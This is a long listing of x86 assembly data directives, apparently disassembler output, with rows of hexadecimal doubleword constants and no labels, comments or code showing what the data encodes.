		dd 4710598Ah, 0F0BD668Fh, 0C61D00ACh, 7FE3F851h, 905CD9E9h
		dd 2BB41C74h, 91A45980h, 0C0EC718Bh, 74108A51h,	0E4CFA3Dh
		dd 148900A8h, 57F6707h,	0F4EB039Ch, 7C650A8Eh, 23B009E3h
		dd 2F00856Eh, 0BD4626F8h, 1E86F31Ch, 4971819h, 0C064B594h
		dd 98DD0C0h, 0E4EE800Ch, 3D5A966h, 0A5936E49h, 0BC89C6Fh
		dd 4D30BC87h, 0CE13B0CAh, 7C902B1h, 48686436h, 29078050h
		dd 0BA3E2549h, 6ECE8FD0h, 4FF600E4h, 3D340D36h,	673D9A74h
		dd 0DAB1805Eh, 0C6DEF11Ch, 715ECEAh, 0E058AD1Bh, 922AB08Ch
		dd 3F037B0Ch, 7423CCE4h, 2FAFC86Eh, 72380E87h, 3AE0EE61h
		dd 0CC51182Eh, 8CA6B300h, 7CBDA52Ch, 0C5BF13ACh, 4AA8400Eh
		dd 0BA3FF22Eh, 9D7B0A01h, 55CCB078h, 0D634C8h, 0D8B77A52h
		dd 9AF6E571h, 60082600h, 783B7C91h, 0EC7512h, 0C13A4F3h
		dd 72B9D138h, 0BCE871F4h, 0E0DB0700h, 7718C602h, 4BFE04F9h
		dd 800DEE65h, 1FE7DC7Bh, 0FA79B3F6h, 0C5B0F800h, 33CEAA9Eh
		dd 68FE46h, 5F8EC1ECh, 69A925ACh, 90617300h, 0F096061Dh
		dd 4CCE01FAh, 0EC05028Ch, 0EDFDFCB8h, 0CF626501h, 6B9C808h
		dd 2BA720h, 40C94EAEh, 0E2814AD8h, 3FBB4Ch, 8B9272ABh
		dd 42EC69Dh, 1095641Ah,	404880DBh, 0AC2423B6h, 281E2C50h
		dd 26A7D980h, 92D8C50Ah, 0D5F478h, 0A8878245h, 44F5BE3Bh
		dd 0C5E10700h, 0F788DE8h, 0E006186Ch, 218B10CBh, 52F5360Eh
		dd 0A0D22F5Fh, 0AD496FD3h, 0A28F003Fh, 969DDEDBh, 84092E6Dh
		dd 7F4260Dh, 2DF0BD34h,	0A0BCBAB2h, 41F0C2DCh, 754C40E9h
		dd 0AD07834Fh, 22053A59h, 0A0AE5077h, 0B70BE856h, 922B026Bh
		dd 2AD6944Ah, 0F80547Bh, 0C3A1E8EFh, 87140021h,	18F8C276h
		dd 9E3E5EA0h, 9F8F0012h, 0E247E79Ch, 370200CCh,	26AD3FD3h
		dd 6700E0AEh, 0DC069157h, 3081C43h, 4832E980h, 86E862C8h
		dd 68006DA5h, 47BC96C7h, 0E2729F58h, 0C14D196Eh, 0C30A58B6h
		dd 0D51B0480h, 1324AC01h, 0F08181Ah, 607CC4h, 0FBBAFCC1h
		dd 0B9BBFD23h, 753B5107h, 0CDC0354Ah, 2270B03h,	6E6AB679h
		dd 0DC409483h, 7A071BD1h, 0B5C4D4DCh, 0BDE2E6B0h, 0F7CD0E14h
		dd 21002006h, 0C0EC2961h, 86717813h, 0CADE2040h, 1F396B13h
		dd 0DC5BAE90h, 11650F3Ah, 18FFAA60h, 0CB0042FAh, 2BA0DF15h
		dd 0B7F685h, 9CBA9B45h,	2DD32125h, 67503B00h, 7D720E92h
		dd 0AA970E31h, 0AD6906ACh, 1696E880h, 0E0003EB5h, 0B91BE6DDh
		dd 28BC9F8h, 8CEB6AA2h,	0D8C06ED6h, 2309D0FEh, 48611E0Eh
		dd 366864h, 16A1C10Fh, 7B597018h, 605BEA00h, 95256BBDh
		dd 94A0F5Ah, 1F80D878h,	1C93AE7Fh, 2087B600h, 8C0772BAh
		dd 0BB82302Ah, 9CE2D118h, 0DFB7A501h, 0C35BD632h, 1FBE29C0h
		dd 2441CCC4h, 0B0658080h, 0C73B0AAEh, 9F7C989Ah, 0E2C9FF0Eh
		dd 601803DAh, 7EC40008h, 86ED80DFh, 9490D752h, 5A88FA00h
		dd 0DA09D63Ah, 66FE00FCh, 0FF239B79h, 0CF00C620h, 88DC2561h
		dd 76391082h, 1EEEAAh, 0C7A33099h, 962CD1F6h, 151F9802h
		dd 61063304h, 0AC69942Bh, 0E8E7D60Fh, 88C81F85h, 4C00102Ch
		dd 1B11CC95h, 32C034h, 38D75E7Ah, 0E4631373h, 75486001h
		dd 4BF66142h, 3BCDD3D8h, 0AA925B30h, 88F70026h,	0DCE206E6h
		dd 8E002098h, 2F72A901h, 4AD72Eh, 7D94140Ah, 0B0E79DFDh
		dd 4D8E6500h, 0AEA2E637h, 91B900BEh, 0C464C06Dh, 2D001652h
		dd 0BF750BC8h, 77F65h, 9BFDBA0Dh, 71D2FC8Ah, 0E7000575h
		dd 4ED0F49h, 0B81CD643h, 0EFA100BEh, 935C9475h,	0DD00B0AEh
		dd 7ADA34E5h, 823508h, 99F63BA6h, 1349EAB4h, 7EEC3Ah, 50400363h
		dd 11CC181h, 0ADFA91C2h, 0D841570Fh, 23006156h,	1832D9C8h
		dd 1138FD2h, 9D6D952Fh,	0E0D50D64h, 7B00E314h, 9B4A15Ch
		dd 2773CF03h, 0AC87E2E0h, 7F6D9067h, 28507E9Eh,	5D0060C0h
		dd 0B9A258A7h, 24EFD15h, 55FE06CFh, 9040BFA4h, 1C00DEF4h
		dd 0F11F0299h, 0BD3AF9h, 0A634DB8Ah, 847AA488h,	0A90ACA00h
		dd 0B17EA5B8h, 5D91000Fh, 1C746990h, 0CB0128F7h, 37B74F8Ah
		dd 0B1DC479Fh, 641400C2h, 661B6D75h, 39E48450h,	1F2A43Ch
		dd 45B4F01Eh, 0EED41494h, 55640063h, 0D2115F6Bh, 469EDA2Fh
		dd 4D019400h, 1B0E9D9h,	214F74EFh, 206F5D58h, 0D7000534h
		dd 86685A5h, 13ABC1EEh,	16C02AC4h, 0EF4080DFh, 0E3B741Fh
		dd 6339170Ch, 2F855C04h, 42F4FC43h, 0D3110F8h, 0B4B0F000h
		dd 7807B652h, 9A6A2516h, 4749F897h, 1A8080F0h, 0A9D5C67h
		dd 0E000624Bh, 0E90B64D9h, 8B949648h, 0F872036Ch, 55769700h
		dd 541E9166h, 0C0A2378Ah, 0C08E8718h, 67015ED1h, 0D0A2D07h
		dd 4EE079DDh, 1E83176Ch, 166EE7Dh, 0FCD18C5Ch, 374FF09Bh
		dd 0C5874500h, 88B64391h, 0D40FB7E0h, 0D3556600h, 0F5606516h
		dd 806F0E89h, 1250BA0Ah, 36D97F2h, 23276705h, 0FC8562B1h
		dd 86B064C2h, 10604554h, 0AE201542h, 7BC86F64h,	840034E3h
		dd 0EECEADDEh, 8B0F4E94h, 0E0152C93h, 80ACE63Ah, 31740E48h
		dd 0ABE0D03Bh, 5550EA18h, 9C89F000h, 0B70E28B6h, 0F97A99h
		dd 53E99EADh, 597A6D60h, 6AD93003h, 0A8E079F0h,	9A0201h
		dd 138BAFB9h, 424E04DAh, 6525700h, 341EDD4h, 565800A8h
		dd 0A4DE932Ah, 9A1D61F5h, 0E8C7D5E2h, 11A0E3AAh, 981FC9A7h
		dd 0EE900CEh, 0B2DA17B1h, 411CA2A8h, 0B5C0D105h, 0F7AC4B9Ah
		dd 0F8B0BE01h, 76000735h, 0CD08C6F5h, 7C032826h, 387C7Eh
		dd 423CDD83h, 0E83FF28Dh, 0C73AA300h, 0DF6EA4ADh, 0DEE865h
		dd 0F66D0224h, 0CA720B35h, 0E809F30Eh, 214E84E5h, 0D88878A8h
		dd 932CFC0h, 9F0E90EAh,	0AC1CE814h, 8B023227h, 20EDAA43h
		dd 9D4E3AD0h, 0F0B00200h, 2FEABACFh, 66A17F3h, 6EC4A034h
		dd 0D0E73604h, 0ACFC73ADh, 3A00584Ch, 1162C23Eh, 0FCA83B81h
		dd 0C65E688Ah, 8DD67480h, 0C44E4Fh, 26653A8Ch, 0DF4ED072h
		dd 0DA51A0C0h, 6FB81416h, 3EE02086h, 5E862ECAh,	0C04CDA3Dh
		dd 3A093034h
		dd 38F71091h, 0BB7D5062h, 2A299D3Dh, 0D600DC78h, 91AAB780h
		dd 10E7DAFh, 76819BEEh,	0FC628915h, 0FA27AE25h,	76CC316Bh
		dd 23102E6Eh, 5CEA0038h, 267845C2h, 0ECCB0D03h,	0D029A6h
		dd 937F660h, 0B3D5F45Eh, 0DCD148h, 788B7A33h, 95395107h
		dd 0DE7BB099h, 0F18F8957h, 0A1AC6068h, 4974DDABh, 8C5D6B0Eh
		dd 1A9243E5h, 0FA7BA942h, 0F7D8F000h, 54C7084Eh, 0F6788AD0h
		dd 703DF109h, 0BF247280h, 0B709F75Ah, 0F93CB953h, 18DB7178h
		dd 0E860EB0Dh, 63230347h, 5CBBADEAh, 3485885Bh,	25236C2Fh
		dd 9B224800h, 7E3CD07Fh, 647913D5h, 1CD0E4FDh, 1873D318h
		dd 0A87C0AD0h, 6634F8h,	776444A2h, 0D327CBB2h, 0CF012898h
		dd 6D1A19Dh, 90D49C67h,	0F88EFACAh, 8A4B02ECh, 1FBB4663h
		dd 404E3074h, 0C74E2B7Dh, 0E9730053h, 2235406h,	68A55DFDh
		dd 8D6339C4h, 7C7F22C0h, 0E47090B7h, 0D1C912B2h, 4E841C05h
		dd 208BBFADh, 378D3C48h, 0A441EF41h, 0AC31AAA9h, 0D4FAFDC5h
		dd 919C015Ch, 6407526Bh, 0AD1E870Ch, 7506672Ch,	44386111h
		dd 0AE1280A1h, 50808C3Bh, 9DDCC89Ah, 6508EC97h,	0DA7862F1h
		dd 7ECA2841h, 0E1132000h, 9D5E9D73h, 65919C17h,	9D81B080h
		dd 9DFE60h, 13942B4Ch, 0C4E0CFFFh, 1CD1DE69h, 3C4C9F04h
		dd 425E8004h, 8426F373h, 1F4078ACh, 8808A2C2h, 380725B8h
		dd 8CA91D1Bh, 0D7B9B2E0h, 649D49BFh, 3AB7D81Eh,	6E00913Eh
		dd 61238AF4h, 0B201D519h, 6D292666h, 413EC85Ah,	8BFC12Ch
		dd 0CA698079h, 318B47Fh, 0C00C0187h, 0FB35AFA9h, 72A3202Ah
		dd 0FFA80712h, 9EE2DC40h, 0E22EED5h, 0BCD6BDFBh, 0A7AE160h
		dd 0F6006C5Dh, 1ECC7576h, 0C038A15Fh, 627E5878h, 201379BCh
		dd 2D09B79Bh, 7074D93Dh, 5086E9DBh, 12438342h, 41EEF24h
		dd 0CA4607D0h, 0A26C5314h, 3811302Eh, 20BBAF00h, 689C3FEAh
		dd 19C23B80h, 8030DBDEh, 70F434CBh, 0B87D3E2Bh,	5045392Fh
		dd 0C46025E4h, 6D00F410h, 8B311DFh, 2595D7DEh, 28514D6Fh
		dd 8A18ACD9h, 290012E0h, 25849B9Eh, 3F60D198h, 0C527C1DEh
		dd 644294E7h, 0D7C01AF1h, 0E136740h, 0CA0AF8Dh,	699C2087h
		dd 82160390h, 912439Bh,	78628020h, 9822F3B6h, 0DC71D48Bh
		dd 7318F779h, 64542601h, 457110C9h, 13C2E16Eh, 83A8D1A8h
		dd 0B499090Ch, 0EE80C01Dh, 5822B399h, 337ACDh, 7B507FD7h
		dd 9E137A5Fh, 0C03B7837h, 612D9600h, 4493E433h,	6D3B2705h
		dd 5AC4C17h, 0F38413E9h, 3ABC98FCh, 0A27D038Ch,	5371CA68h
		dd 2DA4E2E5h, 0C45CC506h, 67260F0h, 37261DA7h, 85A45767h
		dd 964801BCh, 239E60EFh, 0E5137170h, 0D837FEA3h, 5F0B82h
		dd 0B1DE64CDh, 0B7B70C92h, 0C3EC1E1Ch, 0F5DE4746h, 7F274886h
		dd 6414C88Ah, 1E553E0Eh, 85C8605Dh, 6F7C452Dh, 0D3DD8571h
		dd 36A232C0h, 1C0BE81Eh, 0E79F901Ch, 0D647D4C0h, 70C1E974h
		dd 0BD4F75F6h, 7CA572CCh, 7EA8134Ch, 92A00086h,	0F3AB8451h
		dd 379E84A1h, 7D807508h, 2B5900A3h, 0D302E022h,	0CAF63D2Dh
		dd 21083566h, 2A8A1221h, 0C0261FE0h, 0BE4D89A4h, 1C075EA5h
		dd 72DE1877h, 715F8E10h, 0D9CF03C2h, 4A81F711h,	0FF5A2000h
		dd 0CE17A4D4h, 286F638Eh, 580075F3h, 8785D24Bh,	307BD03h
		dd 5128F054h, 5CA8C5AEh, 95304F3Dh, 467D2893h, 9BFA1Bh
		dd 415F14C2h, 86F69F8Bh, 390E2C00h, 0E5D4FB1Dh,	0FA7800EFh
		dd 0D2A0F065h, 9D7C598Fh, 0F722401Dh, 9F955C86h, 4430151h
		dd 51A210Dh, 1DED3030h,	218F08CCh, 0D0C005Eh, 0F5AEA3F6h
		dd 5F3C905Bh, 0E52F00D6h, 59F97721h, 428A49Bh, 1A220D01h
		dd 2048621Dh, 0F0D0963h, 0AEE16803h, 90581A2Fh,	2A0BA110h
		dd 28878F4h, 649C075Dh,	80854CF2h, 608444FAh, 403B0FA1h
		dd 0D25EC69Ch, 65321CE7h, 0FB5B86B7h, 7830698Ah, 0DCA3084Ah
		dd 0EE23079Fh, 50FAA64Eh, 0E390C53h, 5A381500h,	0F6D2FB7Fh
		dd 1C593295h, 73061D1h,	211AFA0Dh, 8B912FEDh, 0D0F5D00h
		dd 4E193905h, 0DEDB5B05h, 0F0036AEAh, 19C9590h,	0E7492929h
		dd 805078FAh, 9DF64299h, 5A77514h, 656916C7h, 1095102Dh
		dd 0AA3D3E00h, 5BD6EB78h, 9BC98D14h, 5F9E14C1h,	1C450CF4h
		dd 539118h, 6FF0720Bh, 0EA173A48h, 2351F200h, 6C4BD409h
		dd 5944621Dh, 68481C71h, 0B100A16Bh, 0BDD935E3h, 11956A7h
		dd 8A049FE5h, 2489C787h, 20521428h, 0D09218E8h,	52635949h
		dd 62F1DC13h, 4AC0CA3h,	827E16Ah, 582C989Ah, 0D6CBC400h
		dd 4F2548CEh, 2360DC51h, 6B9C0401h, 691824F2h, 4C3488h
		dd 0E5F1159Ch, 9D682E06h, 67F03091h, 0B82001A3h, 0BFE53FDDh
		dd 9E28DCB0h, 731F3Eh, 0DA94C1B2h, 30EC10BDh, 1118B825h
		dd 1200E475h, 58B2228Bh, 31CF9E15h, 0CD210FA8h,	9E3603Ah
		dd 0EE7DB400h, 0D62B6F4Dh, 5215005Ah, 4D1C3EDh,	0AF3A496Dh
		dd 1F8060F6h, 0E6A5C16h, 1150422Dh, 409622Ch, 0C73C2050h
		dd 0CB00E690h, 3817DAE9h, 606C819h, 8B13C364h, 0F2002909h
		dd 0CCB96CDFh, 1141053h, 3FCFB78Dh, 86092011h, 80F6B8D8h
		dd 5FB00059h, 8AC33729h, 1900D661h, 73F701A9h, 60E74DC9h
		dd 0AD2578D0h, 0B740A49Fh, 6D37E1Eh, 82CDE824h,	11E48873h
		dd 61142530h, 0CB9B410h, 0FEA921B7h, 0DF82944h,	796EF830h
		dd 19604153h, 0C09C0880h, 7FC998F2h, 7392C21h, 8F700F60h
		dd 267E911Ah, 0CD81E4FEh, 5E92250Eh, 911A79Ch, 284EB780h
		dd 30125220h, 7D603A02h, 58315408h, 60523110h, 0FA564A04h
		dd 1780ACEBh, 0A0C38C57h, 82815EECh, 4020FC04h,	716D6721h
		dd 747F5050h, 3A190BFh,	42D970Eh, 9309EA4h, 41DF2102h
		dd 4020EFE5h, 0BB12308Fh, 3C921FC8h, 108C6A52h,	3BC0F7E7h
		dd 4C08C660h, 327E448Ch, 8A605300h, 8BFD1C1Eh, 0AA282499h
		dd 2EF98F58h, 0AEC0D3EFh, 8CD5AD74h, 380FDC24h,	73483E9Bh
		dd 594AC70h, 87A603Fh, 2E3828ACh, 10605700h, 3E99A380h
		dd 3DBEE6Dh, 2411B315h,	280A6F32h, 8C557175h, 1BE516C0h
		dd 22154697h, 3ED40003h, 0ABE728E5h, 0E1E96A7h,	8C472680h
		dd 0B0FD9BB4h, 0D997A3FDh, 0E15C0064h, 0D00671E6h, 4C402B49h
		dd 1852B8h, 4FE97296h, 1B6536h,	8CA9DF48h, 1EECAE31h, 7C299502h
		dd 41718D15h, 25101284h, 17181F03h, 0DF90A0Bh, 43D701DEh
		dd 0C4B7AA1Ah, 70FC22A9h, 17551900h, 6DB41B8Bh,	0B3E33AA3h
		dd 65011622h, 0BD855510h, 0D3F65Dh, 2AA97A99h, 0B4AE5952h
		dd 57163001h, 1113197Ch, 0D89A6F3h, 0A863FC96h,	0EB3021F8h
		dd 0F66E21F8h, 0B0025341h, 0E5AB3357h, 182597E9h, 3CD28807h
		dd 0A7D6E500h, 8A8723F8h, 3B7500ECh, 1E406D09h,	0FA488D3Ah
		dd 7F700440h, 4C80AE2Ah, 6C22117h, 55A2C18h, 0F03D2071h
		dd 0B948E0h, 8BEEEFEh, 0A015FAA7h, 368A1FD8h, 182873CCh
		dd 48B61230h, 2A3C200Ah, 2E0A428h, 41AE80D8h, 0DC859B1Eh
		dd 0CFE04C37h, 0C800DD21h, 0EE0C5BAEh, 1232DAEFh, 50E3D48Ch
		dd 0CF23C45Ch, 1A28B420h, 0C485C08Bh, 54E76080h, 22D7A6A8h
		dd 120084F6h, 0CD9E97B1h, 2DC56Ah, 0EC287C67h, 200965CFh
		dd 2583E52h, 1E3FAE7Ah,	10D0316Bh, 0E0AEC2E3h, 27B1011Ah
		dd 648AA89Eh, 13844368h, 80605FB2h, 8D390219h, 92520A56h
		dd 8C1EE47Fh, 0F3742C24h, 72028A18h, 2027BC28h,	4CE04C0Eh
		dd 8138B3Eh, 2D7438B4h,	0DF605600h, 0C93BEDC0h,	50AA02CFh
		dd 0CAC7FCA4h
		dd 7A8BB080h, 0A0DF7B9Eh, 0CD239910h, 18551A01h, 0FF18138Bh
		dd 62B740h, 19C75511h, 7FB66EBDh, 0FCD38C00h, 0B8720D69h
		dd 0C5E61F36h, 12923F08h, 42104880h, 3BAEC6C0h,	22CB461Eh
		dd 0CEF700D4h, 4236C7AEh, 56F423A3h, 51B08865h,	0F2FDA898h
		dd 67A6488Fh, 9DA5820Ch, 4EE2941h, 11D11403h, 2EB68F84h
		dd 0D4B019h, 0D55B0B6Dh, 0B339F3A3h, 0B60389EFh, 11C0379Ch
		dd 43DC8006h, 0B9430D0h, 698D424Ch, 36977801h, 0C184410Ah
		dd 8125718Ah, 0F0A70698h, 90527B9Bh, 0AEC73043h, 908CBCB2h
		dd 0F8DC44h, 0CA3CAECFh, 0FD387FA8h, 4971AC0Bh,	918C1DB4h
		dd 91A7807Ch, 0E2B42230h, 4D2104Bh, 730A156Dh, 0BC844C88h
		dd 187143BCh, 0FE883ACCh, 0B74B1994h, 185348F7h, 19E50918h
		dd 6C9C4597h, 0E540DE03h, 0C8D4928Eh, 4F078AFh,	67F47D2h
		dd 882C8E20h, 1E67E3CFh, 0B69981FFh, 0ACC6DD04h, 71009CF0h
		dd 96D8E3B8h, 0A26326ECh, 0EE09BFD0h, 802A32A8h, 80CE1198h
		dd 8B19550Fh, 0C0B342EBh, 0F154E663h, 34111DC7h, 16BB40F8h
		dd 9C72A81Bh, 5A70400h,	29267C54h, 145D5D5Ah, 0BDA4300h
		dd 1F073157h, 3C4F1329h, 3718FD71h, 75B1A3A0h, 68F49502h
		dd 0C98A9772h, 8070FEC0h, 635A098Fh, 588116ADh,	25C7B704h
		dd 88D6F000h, 30B8480h,	41752EDAh, 27C2878Dh, 59E43445h
		dd 93986E63h, 2104C2FCh, 7928A45Ah, 0C4904FC2h,	9DD8A1A0h
		dd 7191A510h, 240A19C0h, 0C481F7C4h, 80DF7611h,	8E681B81h
		dd 6F5B2100h, 0B25C0A47h, 60A005B0h, 80B32297h,	0FD210F50h
		dd 141C174Dh, 10F0678Dh, 4604A95Fh, 0C19EB479h,	32810ADCh
		dd 4558B34h, 7C604018h,	1E233DAEh, 7DA117Bh, 0F1AEC4E1h
		dd 0C342F4F0h, 48E4CCCh, 7209A610h, 701349h, 4989EDA0h
		dd 60509F8Ch, 446F4928h, 0F27CC9ECh, 6E467105h,	8088738Eh
		dd 0C766288Dh, 21146C0h, 87C603Dh, 1056313Ch, 605530h
		dd 690EEB6Fh, 0CDF6C6ADh, 46C14F04h, 80CB1474h,	17015223h
		dd 3D9718E5h, 8092D423h, 9964C0A8h, 0B6309002h,	829EDFD4h
		dd 51261BA0h, 8842CE0h,	71871221h, 6DE030F0h, 5C75DF06h
		dd 6BC34CBDh, 909ECA72h, 0D597D880h, 0C63F10B9h, 15551B02h
		dd 58C70B8Bh, 55126700h, 314ADB6h, 0FEE52895h, 408F16C8h
		dd 5E0DC026h, 13909213h, 8F2CCC09h, 1286A87Ch, 3D8D0F7h
		dd 3E0A3217h, 0F4A28D83h, 0B3FC6F80h, 33CFD0E4h, 0E2910CA8h
		dd 20F50188h, 0A20387F4h, 69CA4ECEh, 2599508Dh,	260C7848h
		dd 6647E8Ch, 698896A5h,	90F41300h, 0EA70D45Ch, 0FC10536Bh
		dd 82C6B903h, 8100A08Ch, 8B7428A5h, 0D654EA72h,	2BAE0AB0h
		dd 84F38994h, 9C810446h, 51518C8h, 3B8B1355h, 44CBB3h
		dd 54550C49h, 265A1E4Eh, 1C4C7051h, 60A7C574h, 0B69406C0h
		dd 0EC91785Fh, 8671BAD0h, 1814BB00h, 0DFD11615h, 4AB912A2h
		dd 1110C8ACh, 1E00DCE2h, 1C0A93FFh, 0B2793Eh, 5D9E450Dh
		dd 0ACA7D404h, 0EF295C01h, 0C189F772h, 0BBF2020h, 0D0FEB15Ah
		dd 6F76B438h, 0D1732074h, 10F8C248h, 305051BEh,	0F6DA408Bh
		dd 9959EAh, 22F03982h, 0BF8E819h, 5C10007Eh, 77CDDE02h
		dd 3600AE05h, 0B6784DA3h, 13537227h, 216B97A4h,	0F669DF5Ch
		dd 0D0864464h, 0F9D1BCB1h, 6900E218h, 0EDB43882h, 2730F5A8h
		dd 9BFE228Fh, 2D8C421h,	2C778673h, 3E8F060Ah, 0B509BC1Fh
		dd 6850054Eh, 0F1EF8C05h, 4CE20888h, 65A0905Dh,	9403EE36h
		dd 0A9B2C12Fh, 68D10024h, 53B59007h, 1500036Dh,	0E0C91150h
		dd 9E7A0E84h, 52438764h, 0C591DC7Eh, 5EDA2300h,	0DE3B42CCh
		dd 71E600D2h, 11A90A72h, 370060C7h, 17D3452Bh, 6C1F2838h
		dd 0F7D9A90Dh, 0F9F07D41h, 0FC0E0B78h, 4D0069B9h, 14515DC3h
		dd 0B6777601h, 5A6FFF82h, 743041D5h, 326C880Eh,	445DC100h
		dd 0F61534C4h, 9894007Bh, 81FEBC75h, 88CE1856h,	0F3A408Ch
		dd 942B197Ah, 9C41805Ch, 0E7F0B363h, 0A7E49200h, 603BF93Fh
		dd 0D59D0407h, 0CAD81871h, 0B8AC58B4h, 734306h,	785C6608h
		dd 54A94FD9h, 386B827h,	0ABC4B6B9h, 3100107Fh, 0C9A11147h
		dd 2D368h, 0D13E8D1h, 3D2641CCh, 10E31704h, 0D0CC2A3Bh
		dd 5C389629h, 36095946h, 7780B4D9h, 25FE094Bh, 2403F524h
		dd 2700772Ch, 1F1037CFh, 12081692h, 88108ED1h, 2A0EC07Ch
		dd 1018BD33h, 28F915F3h, 9AC0A89Fh, 0D6AE0070h,	29A70809h
		dd 0B00B9EFDh, 847D9227h, 0CB5203B4h, 0CBCEC858h, 0BD89100h
		dd 192486A3h, 62088877h, 0A9CF0F7Ah, 438F91B8h,	9A293Bh
		dd 5834396Bh, 6108011h,	6D97153Eh, 3D468004h, 3EAE7902h
		dd 0DB31631Eh, 0AEC1DE10h, 380076F4h, 0EB931890h, 0FC2AA54Eh
		dd 132F4AFDh, 165E0BD8h, 6D0AC849h, 61068F60h, 0D3D2229h
		dd 8F0AC040h, 4CB54C46h, 19922B03h, 83E4CCE4h, 83F490A8h
		dd 8BC8758Ch, 1031E1EEh, 197D1862h, 448CD870h, 3C0FB96Ch
		dd 0E9577363h, 6104ED09h, 0D4D0F90Ah, 0B7FA8A9Ch, 0C0040E90h
		dd 0B3DB8BF4h, 7EF234A2h, 0B0980930h, 4EEE2050h, 8E0028FDh
		dd 2EF4911h, 78BEA611h,	79F0B160h, 10E18D9h, 1CE272DEh
		dd 42B19769h, 8C2019C0h, 0C2D3DBFCh, 0BE1DC970h, 0CC9228EAh
		dd 6156FC84h, 97DCE513h, 0C0B0B91Dh, 5AE53BD1h,	8644C907h
		dd 0CBF28D1Ah, 0C04604DBh, 4E21514Fh, 2C520E26h, 12603944h
		dd 972517E5h, 35D896F5h, 203AD8h, 0D9523F5Dh, 7401FD9Fh
		dd 165DA086h, 0C8FAEC97h, 0A0371104h, 0C79E74h,	5B5FF202h
		dd 657A228Dh, 48D48A80h, 1C4C091Dh, 51EE017h, 800B39F0h
		dd 0BD222B30h, 1638B948h, 704075BAh, 5EEC4335h,	81D89CD8h
		dd 251E5FA9h, 90844562h, 7F5585A0h, 7CB821C1h, 2822E5F0h
		dd 42D8A27Bh, 14D80034h, 5FA2819h, 740DF356h, 0B524B4C0h
		dd 102CFE48h, 38C0F7E8h, 6408C760h, 33C07499h, 1AE6050h
		dd 142EDB68h, 0DC6D1ED0h, 0B49211A8h, 0E3CA9500h, 4EA20B9Ah
		dd 6A89009Dh, 0D90784A1h, 0F8B010F8h, 1602C146h, 338B1455h
		dd 66606CD1h, 28C550Dh,	0B48A7211h, 0A8806338h,	999C2A8Fh
		dd 2700F8B0h, 87BCED5Dh, 5032A75Eh, 1C9B003h, 0A12BB150h
		dd 0F8D06AAEh, 2401AA94h, 8F9B62DFh, 0F82C9E72h, 78048A0Fh
		dd 6488583Bh, 2700A894h, 0BB0732B1h, 17B27216h,	4C83697h
		dd 87A2C6A4h, 0A87FC198h, 0CBDC553Dh, 0C0FCC8C8h, 0F1D87E64h
		dd 0AC02F8EEh, 8A1CA449h, 0AECA00Bh, 2EF745BFh,	730C2A8h
		dd 97BB4932h, 430D947Eh, 0F01510E0h, 0E467464Ah, 0CDCF0481h
		dd 91A52BAEh, 0C02D5108h, 0FE004E3Ch, 188632B9h, 314C62Ch
		dd 0AEE00734h, 0CEAAB493h, 33206C40h, 0DFF01606h, 1E8AB21h
		dd 505863B8h, 31B18D10h, 4CDC28D3h, 807C2D64h, 837F0684h
		dd 9C7D5C36h, 34C432Eh,	6CF15A20h, 0B4732002h, 9E3ECFCCh
		dd 39222320h, 9150172Dh, 98A5C2D4h, 0AA584987h,	0EA000C72h
		dd 5EE26831h, 10A0F5BBh, 0C37A153Bh, 57FB1300h,	2BCE6574h
		dd 2E285F5Fh, 5A2318h, 0F3051440h, 2B31D3C8h, 255A99D1h
		dd 0E0AE2D0h, 8475A439h, 626D360h, 3D00552Ah, 60799C63h
		dd 5B45E28h, 14C58BB8h,	0E404F52Dh, 0E35FEC96h,	228F1002h
		dd 0F9745836h, 80D323E8h, 289C7F90h, 47A60780h,	137A63h
		dd 0FA5A1150h, 14186591h, 0B49E50B0h, 1CF465Ch,	6EF1C185h
		dd 64316F33h, 7882A4F5h, 585A728Dh, 0E8B9B864h,	4018FB79h
		dd 777DCE06h, 98A087D8h
		dd 165611CCh, 0BDEB1080h, 8BA5771Ch, 88172912h,	5D805791h
		dd 9C7BA9A0h, 7DBB8002h, 9B5001A6h, 10D5C89Ch, 0B40C0044h
		dd 1B3DCCB7h, 6D592741h, 7881B924h, 0B74AC418h,	92A5F0B2h
		dd 13918360h, 5E6A5A6Bh, 0DC90024Ch, 0A888BDBFh, 512204CDh
		dd 0A10A420h, 0CD798491h, 7F014018h, 2A8B537Ah,	0D0486686h
		dd 8E7B190Dh, 69F61082h, 699B1224h, 11001216h, 0BF392910h
		dd 4A38016Ch, 728AC601h, 51C3197h, 88DC8EC8h, 22B3C0CEh
		dd 0DF1766ABh, 0B840BF35h, 0CD85283Ah, 9FB40111h, 2147E0A0h
		dd 84B84E94h, 0AF307305h, 0C40D028Dh, 0E9C7FB23h, 0ED20F982h
		dd 14E8CCBBh, 0D70E5836h, 599689BEh, 0B069F740h, 8AA31607h
		dd 0C00DB8Fh, 0B65BD61Eh, 7A1738DFh, 6B4F6021h,	0C9ED1000h
		dd 9DE8A169h, 0B7FF086Ch, 36B6DE60h, 2E9E3875h,	45903800h
		dd 14113A28h, 46761096h, 7E34015Ah, 4B36A344h, 72F180CDh
		dd 2E2B873h, 883B833h, 0C0AA257Fh, 9A8C48C0h, 31C8509Dh
		dd 8DD17DEEh, 0B92460B8h, 0A58109F8h, 99A564E1h, 59E4C045h
		dd 0A2FA7D60h, 0EBA04A02h, 0A88B7E85h, 0C309C9D4h, 482C49C0h
		dd 0D31E0474h, 0C8008BB9h, 0AFE8C301h, 0A45A2BC2h, 0CBB2BE00h
		dd 45C6FF87h, 0D28977F0h, 0C458CB81h, 3F3071BAh, 8100AB7Ch
		dd 0F0D058Ah, 1FAA67DBh, 6C468CA7h, 807932B4h, 9200C472h
		dd 93710918h, 2A1679h, 0DA661BE4h, 0EFE8AFB4h, 0F706B805h
		dd 0CC16BA2Dh, 43D43605h, 0B8F20895h, 0CB7FDF1h, 0C5C200D8h
		dd 1185DA6Ah, 8F258884h, 379080F2h, 0D31E72B4h,	23903A50h
		dd 0F8110057h, 2FBC0DEDh, 96194F1Eh, 0F9AB284Ch, 3D6478B2h
		dd 80001D7Dh, 0CD5CD9B8h, 0B4947F2Dh, 3A41FE80h, 0EBCC23F4h
		dd 400058EEh, 0BE2643D9h, 0D419C5Ah, 5CEE988Ch,	1465CD0h
		dd 80F2317h, 8785D3A0h,	0EF00B56Bh, 0C7A70538h,	39F074h
		dd 606E78D4h, 93BB7CCCh, 553AD3Ch, 71992411h, 418BDC88h
		dd 0D74C29A5h, 358000DAh, 0DCF7E3E9h, 43B48C16h, 0ACA3A080h
		dd 0F14046Ah, 0F4A88FAAh, 4F00BC08h, 993670B3h,	1EA5DC3h
		dd 1B5CF2C5h, 0F4E2F6CEh, 42183C0Ah, 0B8E92511h, 0B497958Fh
